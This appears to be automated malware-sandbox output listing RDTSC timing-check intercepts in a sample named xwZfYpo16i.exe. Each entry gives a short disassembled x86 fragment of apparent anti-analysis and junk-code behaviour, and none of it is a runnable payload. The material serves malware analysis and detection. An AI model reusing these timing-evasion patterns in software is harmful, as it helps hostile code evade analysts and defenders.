Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B269B second address: 4B26A6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B2D3F second address: 4B2D44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B2D44 second address: 4B2D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F6BF4B2C356h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B3444 second address: 4B344A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B1350 second address: 4B135D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 ja 00007F6BF4B2C356h 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B135D second address: 4B1369 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jne 00007F6BF4F65156h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4B8ADF second address: 4B8AED instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4BD591 second address: 4BD597 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4BD597 second address: 4BD59C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4BD59C second address: 4BD5A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4CABD0 second address: 4CABD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4CABD6 second address: 4CAC0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F6BF4F65160h 0x0000000c jnp 00007F6BF4F65156h 0x00000012 jmp 00007F6BF4F65167h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4CAC0B second address: 4CAC11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4CAD74 second address: 4CAD95 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6BF4F6515Eh 0x00000008 jnc 00007F6BF4F65156h 0x0000000e push esi 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6BF4F6515Ah 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4CAD95 second address: 4CAD99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4CAD99 second address: 4CADB6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F6BF4F65162h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4CADB6 second address: 4CADBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4CADBE second address: 4CADCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F6BF4F65156h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4CADCD second address: 4CADD3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4CE80C second address: 4CE810 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4DC51F second address: 4DC529 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BF4B2C35Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4DF367 second address: 4DF37A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4F6515Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4DF37A second address: 4DF38E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C35Ah 0x00000009 jng 00007F6BF4B2C356h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4DF38E second address: 4DF392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E2231 second address: 4E223B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push edx 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E223B second address: 4E227C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4F6515Dh 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c jmp 00007F6BF4F6515Fh 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007F6BF4F65167h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E227C second address: 4E229C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F6BF4B2C35Ch 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F6BF4B2C35Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E229C second address: 4E22D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007F6BF4F65156h 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d popad 0x0000000e pushad 0x0000000f jng 00007F6BF4F65156h 0x00000015 jmp 00007F6BF4F65163h 0x0000001a jmp 00007F6BF4F6515Ah 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E90B8 second address: 4E90BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E90BE second address: 4E90C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E90C2 second address: 4E90C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E79D1 second address: 4E79F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4F65169h 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E7E15 second address: 4E7E2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F6BF4B2C35Fh 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E7E2F second address: 4E7E35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E7E35 second address: 4E7E39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E7E39 second address: 4E7E3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E80F6 second address: 4E8102 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F6BF4B2C35Eh 0x00000008 push edi 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E83E1 second address: 4E83E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E83E7 second address: 4E83FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jno 00007F6BF4B2C356h 0x0000000f jnp 00007F6BF4B2C356h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4E83FE second address: 4E8403 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4EE2F9 second address: 4EE2FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5002D3 second address: 5002D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5002D7 second address: 500317 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F6BF4B2C363h 0x0000000b popad 0x0000000c jbe 00007F6BF4B2C389h 0x00000012 jbe 00007F6BF4B2C36Ch 0x00000018 jmp 00007F6BF4B2C366h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 500317 second address: 50031B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5000FB second address: 5000FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5000FF second address: 500141 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6BF4F65156h 0x00000008 jmp 00007F6BF4F65167h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F6BF4F65165h 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007F6BF4F65156h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 500141 second address: 500178 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C364h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6BF4B2C35Ah 0x00000011 jmp 00007F6BF4B2C362h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4F972B second address: 4F973D instructions: 0x00000000 rdtsc 0x00000002 jg 00007F6BF4F65156h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4F973D second address: 4F9774 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop ebx 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6BF4B2C367h 0x00000013 jmp 00007F6BF4B2C362h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4F9774 second address: 4F978B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F6BF4F6515Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4F978B second address: 4F978F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4F978F second address: 4F97C6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6BF4F65156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6BF4F65165h 0x00000011 jmp 00007F6BF4F65166h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 4F97C6 second address: 4F97D0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6BF4B2C356h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 50D53F second address: 50D550 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5276A0 second address: 5276A9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5276A9 second address: 5276AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5269F3 second address: 526A06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F6BF4B2C35Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 526CEE second address: 526D14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4F65167h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F6BF4F65156h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 526D14 second address: 526D18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 526EAA second address: 526EBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F6BF4F6515Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 526EBF second address: 526EC3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5271B1 second address: 5271B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 52734E second address: 527354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 528CA0 second address: 528CAB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 528CAB second address: 528CB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 528CB0 second address: 528CC0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4F6515Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 528CC0 second address: 528CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 528CC4 second address: 528CD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F6BF4F65156h 0x0000000d js 00007F6BF4F65156h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 52B8DC second address: 52B8E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 52B8E1 second address: 52B8EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F6BF4F65156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 52B9A4 second address: 52BA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6BF4B2C35Fh 0x00000009 popad 0x0000000a jmp 00007F6BF4B2C35Bh 0x0000000f popad 0x00000010 nop 0x00000011 sub edx, 1995C190h 0x00000017 push 00000004h 0x00000019 push 00000000h 0x0000001b push eax 0x0000001c call 00007F6BF4B2C358h 0x00000021 pop eax 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc eax 0x0000002f push eax 0x00000030 ret 0x00000031 pop eax 0x00000032 ret 0x00000033 add dword ptr [ebp+122D3427h], eax 0x00000039 call 00007F6BF4B2C359h 0x0000003e jmp 00007F6BF4B2C35Ch 0x00000043 push eax 0x00000044 jmp 00007F6BF4B2C35Ah 0x00000049 mov eax, dword ptr [esp+04h] 0x0000004d pushad 0x0000004e push eax 0x0000004f push edx 0x00000050 jmp 00007F6BF4B2C362h 0x00000055 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 52BA31 second address: 52BA35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 52BA35 second address: 52BA3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 52BA3E second address: 52BA55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 jp 00007F6BF4F65164h 0x0000000e pushad 0x0000000f jne 00007F6BF4F65156h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 530A5F second address: 530A70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F6BF4B2C356h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5440DDD second address: 5440DFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F6BF4F65167h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5440DFE second address: 5440E31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, E2BAh 0x00000007 call 00007F6BF4B2C35Bh 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov ebp, esp 0x00000012 pushad 0x00000013 jmp 00007F6BF4B2C365h 0x00000018 push eax 0x00000019 push edx 0x0000001a movzx ecx, dx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5440E31 second address: 5440E5F instructions: 0x00000000 rdtsc 0x00000002 call 00007F6BF4F65163h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6BF4F65162h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5480008 second address: 548000E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410114 second address: 5410122 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410122 second address: 5410134 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C35Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410134 second address: 541015F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push dword ptr [ebp+0Ch] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F6BF4F65165h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54101A7 second address: 54101B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C35Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54101B9 second address: 54101BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5430A64 second address: 5430A76 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov cx, bx 0x0000000f push edi 0x00000010 pop eax 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54306D3 second address: 54306D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5430619 second address: 5430632 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5430632 second address: 5430636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5430636 second address: 543063A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 543063A second address: 5430640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
